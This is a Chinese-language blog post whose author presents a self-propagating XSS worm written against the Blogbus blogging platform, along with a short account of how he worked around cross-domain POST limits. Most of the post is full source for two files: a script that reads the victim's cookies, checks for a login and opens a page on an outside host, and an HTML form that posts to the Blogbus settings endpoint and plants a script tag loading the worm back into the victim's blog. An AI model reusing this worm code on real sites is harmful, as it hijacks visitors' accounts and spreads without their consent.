作者:乱雪
主页:hi.baidu.com/lu4nx
老规矩:1、本文乃免费撰写,不提供任何技术支持,欢迎讨论;2、转载请保留文本的完整性;3、任何对作者辱骂行为,请电邮联系lx@shellcodes.org;4、关于XSS Worm详细的paper等我心情好了再公布。
在09年的时候,我发现了Blogbus的两处跨站漏洞。一处是在友情链接处,当时和零魂一起写出了利用代码;另外一处在自定义header处,网上早已经被公布了。当时我还联系了他们的开发团队,但他们一直未修复。我在想,可能因为开发团队认为造成跨站的必要条件是需要登录后台,危害不大吧。但是倘若登录后台的用户是一名attacker,就可以利用该XSS构造XSS Worm。
这份XSS Worm代码是我花了两天时间写的,其实代码很简单,但是在编写中,遇到棘手的是XMLHttpRequest无法跨域POST提交信息。我一直卡在那里研究如何跨域,试过很多办法,但始终不行,IE下跨域真恼火,当时还试了微软提供的XDomainRequest,依旧没实现。后来在吃饭时,想到一个办法,用HTML。HTML的POST提交是可以跨域的,那么我的思路就是用HTML来提交。
多的不说了,为了防止滥用,造成不必要的麻烦,代码也有所保留,对浏览器以及浏览器的安全设置比较苛刻,欢迎各位大牛继续改造。
此份XSS Worm的大致流程如下:
判断用户是否登陆,如果登陆,则用window.open打开一个HTML页面,当该HTML页面中发生鼠标单击事件时(保留,免得被滥用,大牛可以修改成其他的),则自动POST提交信息来修改浏览用户。
关于XSS Worm,过几天我会撰写paper详谈。
首先看触发漏洞的地方:
需要两个文件,xss.js是主要代码,创建XMLHttpRequest以及用来判断用户是否登陆,xss.htm是用来自动POST提交的。
xss.js代码如下:
var xmlHttp = null;
function callback()
{
if ( xmlHttp.readyState == 4 )
{
if ( xmlHttp.status == 200 )
{
//alert(xmlHttp.responseText);
} else
{
//alert(xmlHttp.status);
//alert(xmlHttp.statusText);
}
} //alert (xmlHttp.readyState);
}
var blogbus_cookie = document.cookie; //得到Cookie
//创建XMLHttpRequest
if ( window.ActiveXObject )
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
else if ( window.XMLHttpRequest )
xmlHttp = new XMLHttpRequest();
//直接在Cookie值里搜索“bus_uid”,找到则证明是登陆了的
//判断是否登陆
//如果登陆了,就全屏弹出一个窗口
if ( blogbus_cookie.indexOf("bus_uid=") != -1 )
{
var height = window.screen.availHeight;
var width = window.screen.availWidth;
window.opener = null;
//下面设置弹出页面的地址
window.open("http://192.168.127.135/xss.htm","_blank", "height=" + height + ",width=" + width +",top=0,left=0,toolbar=no,menubar=no,scrollbars=yes,resizable=yes,location=no,status=no");
}else
//alert("no login");
===============================================================================
xss.htm代码如下:
<html>
<title>Xss Test</title>
<script language="javascript">
function xss()
{
//自动提交表单内容
document.form1.name.value = "xss test"; //博客名称
document.form1.description.value = "xss test"; //博客简介
document.form1.accessPwd.value=""; //访问密码,为空
document.form1.meta.value="<script src=http:\/\/192.168.127.135\/xss.js><\/script>"; //恶意代码
document.form1.submit();
}
</script>
<body Onclick=xss();>
<form name=form1 action=http://blog.home.blogbus.com/settings/basic method=post>
<table>
<tr><td><input type=hidden name=name></td></tr>
<tr><td><textarea name=description style="border:none; overflow-y:hidden"></textarea></td></tr>
<tr><td><input type=hidden name=accessPwd></td></tr>
<tr><td><textarea name=meta style="border:none; overflow-y:hidden" ></textarea></td></tr>
<tr><td><input type=hidden value=PUT name=REQUEST_METHOD><tr><td>
</table>
</form>
</body>
</html>